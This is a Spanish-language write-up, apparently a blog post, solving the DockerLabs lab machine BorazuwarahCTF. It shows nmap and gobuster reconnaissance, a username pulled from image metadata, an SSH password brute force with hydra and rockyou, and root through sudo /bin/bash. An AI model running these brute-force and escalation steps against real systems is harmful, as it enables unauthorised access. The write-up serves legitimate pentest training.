Ir al contenido

BorazuwarahCTF

En este artículo detallo la resolución de la máquina virtual BorazuwarahCTF, explicando paso a paso las técnicas y herramientas utilizadas para identificar y explotar las vulnerabilidades presentes en el sistema.

  • Nombre: BorazuwarahCTF
  • Autor: BorazuwarahCTF
  • Dificultad: Muy Fácil
  • Fecha de creación: 28/05/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo ZIP:

    Ventana de terminal
    unzip BorazuwarahCTF.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh BorazuwarahCTF.tar

La máquina devuelve su IP al ser desplegada, por lo que no es necesario usar herramientas como arp-scan.

IP

Creamos una estructura de carpetas para organizar los resultados:

Ventana de terminal
mkdir BorazuwarahCTF
cd BorazuwarahCTF
mkt # Script personalizado que crea las carpetas content, exploits, nmap y scripts

Escaneo completo para identificar puertos abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extracción de los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos

Escaneo detallado de servicios:

Ventana de terminal
nmap -sCV -p80 172.17.0.2 -oN targeted

Servicios

Identificamos que el puerto 80 está abierto, por lo que comenzamos con fuerza bruta de rutas usando gobuster:

Ventana de terminal
gobuster dir -u http://172.18.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200

Gobuster

Encontramos únicamente el archivo index, que contiene una imagen con el mensaje “¡Te quiero!”.

Index

Descargamos la imagen y analizamos sus metadatos:

Ventana de terminal
wget http://172.17.0.2/imagen.jpeg
exiftool imagen.jpeg

Exiftool

Obtenemos un posible nombre de usuario: borazuwarah.

Ya con el usuario identificado, realizamos un ataque de fuerza bruta contra el servicio SSH:

Ventana de terminal
hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4

Hydra

Obtenemos las credenciales correctas y accedemos vía SSH.

Verificamos los privilegios sudo:

Ventana de terminal
sudo -l

El usuario puede ejecutar /bin/bash como cualquier otro usuario. Usamos searchbins para verificar si existe una ruta en GTFOBins:

Ventana de terminal
searchbins -b bin -f bash

Ejecutamos el siguiente comando para obtener una shell con privilegios de root:

Ventana de terminal
sudo /bin/bash

Root

  • La máquina presenta un nivel de dificultad muy fácil, ideal para quienes están comenzando en el mundo del pentesting.
  • Las fases de reconocimiento y explotación fueron bastante directas, pero ofrecen una buena práctica de flujo básico en CTFs.